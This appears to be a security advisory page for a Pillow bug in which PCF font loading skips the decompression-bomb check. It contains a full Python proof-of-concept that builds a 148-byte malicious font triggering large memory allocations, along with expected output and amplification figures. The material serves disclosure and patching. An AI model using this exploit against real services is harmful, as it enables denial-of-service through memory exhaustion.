Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
30일 내 악용 확률 예측
실측 악용 기록 없음
2주 이내 패치 — 우선 조치 대상
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H상세 설명
Description
PIL/PcfFontFile.py _load_bitmaps() (line 227) reads glyph dimensions from the PCF METRICS section and passes them directly to Image.frombytes() without calling Image._decompression_bomb_check(). Dimensions originate from unsigned 16-bit values:
1xsize = right - left (max: 65535 − 0 = 65535) 2ysize = ascent + descent (max: 65535 + 65535 = 131070)Maximum exploitable pixel count: 65,535 × 131,070 = 8,589,734,450 pixels — 48× the DecompressionBombError threshold.
Vulnerable code (PIL/PcfFontFile.py line 224–227):
1for i in range(nbitmaps): 2 xsize, ysize = metrics[i][:2] # from PCF METRICS — attacker-controlled 3 b, e = offsets[i : i + 2] 4 bitmaps.append( 5 Image.frombytes("1", (xsize, ysize), data[b:e], "raw", mode, pad(xsize)) 6 # ↑ NO _decompression_bomb_check()! 7 )Image.frombytes() calls Image.new() first (allocating the full C-heap buffer), then attempts to fill it. This creates two distinct attack paths:
- Persistent attack: Provide matching bitmap data →
frombytes()succeeds → image stored infont.glyph[ch]permanently - Transient attack: Provide a 148-byte PCF file with large declared dimensions but no data →
Image.new()allocates the full buffer →ValueError→ buffer freed → but the spike occurs before Python can respond
Steps to reproduce
Proof of Concept script:
1#!/usr/bin/env python3 2"""PoC: PcfFontFile bomb bypass — 148-byte PCF → 23 MB allocation""" 3import io, struct, tracemalloc, warnings 4warnings.filterwarnings("ignore") 5 6from PIL.PcfFontFile import PcfFontFile 7from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError 8 9W, H = 14000, 14000 # 196M pixels → above DecompressionBombError threshold10 11# Show what Image.open() would do12warnings.filterwarnings("error", category=DecompressionBombWarning)13try:14 _decompression_bomb_check((W, H))15except (DecompressionBombWarning, DecompressionBombError) as e:16 print(f"[Image.open() path] BLOCKED by {type(e).__name__}")17warnings.filterwarnings("ignore")18 19# PCF binary constants20PCF_MAGIC = 0x7063660121PCF_PROPS = 1 << 022PCF_METRICS = 1 << 223PCF_BITMAPS = 1 << 324PCF_ENCODINGS= 1 << 525 26def build_bomb_pcf(xsize, ysize):27 # Properties: empty28 props = struct.pack("<III", 0, 0, 0)29 30 # Metrics (jumbo, non-compressed): 1 glyph — xsize=right-left, ysize=ascent+descent31 metrics = struct.pack("<II", 0, 1)32 metrics += struct.pack("<HHHHHH", 0, xsize, xsize, ysize, 0, 0)33 34 # Bitmaps: 1 glyph, empty data (transient attack)35 bitmaps = struct.pack("<II", 0, 1)36 bitmaps += struct.pack("<I", 0) # offset[0] = 037 bitmaps += struct.pack("<IIII", 0, 0, 0, 0) # bitmap_sizes all = 038 39 # Encodings: char 0x41 ('A') → glyph 040 enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*6241 encodings = struct.pack("<IHHHHH", 0, 0, 127, 0, 0, 0xFFFF)42 encodings += struct.pack("<" + "H"*128, *enc_offsets)43 44 secs = [(PCF_PROPS, props), (PCF_METRICS, metrics),45 (PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)]46 hdr_size = 4 + 4 + len(secs) * 1647 out = struct.pack("<II", PCF_MAGIC, len(secs))48 offset = hdr_size49 for stype, sdata in secs:50 out += struct.pack("<IIII", stype, 0, len(sdata), offset)51 offset += len(sdata)52 for _, sdata in secs:53 out += sdata54 return out55 56pcf = build_bomb_pcf(W, H)57print(f"[*] PCF file size : {len(pcf)} bytes")58print(f"[*] Glyph size : {W} x {H} = {W*H:,} pixels")59print(f"[*] C-heap target : {W*H//8//1024**2} MB (mode '1' = 1 bit/pixel)")60 61tracemalloc.start()62try:63 font = PcfFontFile(io.BytesIO(pcf))64 _, peak = tracemalloc.get_traced_memory()65 tracemalloc.stop()66 print(f"[!] CONFIRMED (persistent): bomb check bypassed — heap peak {peak/1024**2:.2f} MB")67except Exception as e:68 _, peak = tracemalloc.get_traced_memory()69 tracemalloc.stop()70 print(f"[!] CONFIRMED (transient): {type(e).__name__} after allocation")71 print(f" Heap peak: {peak/1024**2:.2f} MB")72 print(f" C-heap allocation of ~{W*H//8//1024**2} MB occurred before exception")Expected output:
1[Image.open() path] BLOCKED by DecompressionBombError 2[*] PCF file size : 148 bytes 3[*] Glyph size : 14000 x 14000 = 196,000,000 pixels 4[*] C-heap target : 23 MB (mode '1' = 1 bit/pixel) 5[!] CONFIRMED (transient): ValueError after allocation 6 C-heap allocation of ~23 MB occurred before exceptionAmplification table:
| PCF file | Glyph dims | C-heap (mode '1') | Bomb check |
|---|---|---|---|
| 148 bytes | 14000 × 14000 | 23 MB (transient) | Bypassed |
| 148 bytes | 65535 × 131070 | 1.07 GB (transient) | Bypassed |
| ~512 MB | 65535 × 131070 | 1.07 GB (persistent) | Bypassed |
Impact
- Availability: HIGH — up to 1.07 GB per glyph, no limit per font file
- Confidentiality: None
- Integrity: None
- Any service loading PCF fonts from untrusted sources (e.g.,
PcfFontFile(fp)) is affected PcfFontFileis never loaded viaImage.open(), so the bomb check protection is completely absent from the entire PCF font loading path- Confirmed unpatched on
python-pillow/Pillowmainbranch as of 2026-06-07
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 6
링크 내용 불러오는 중…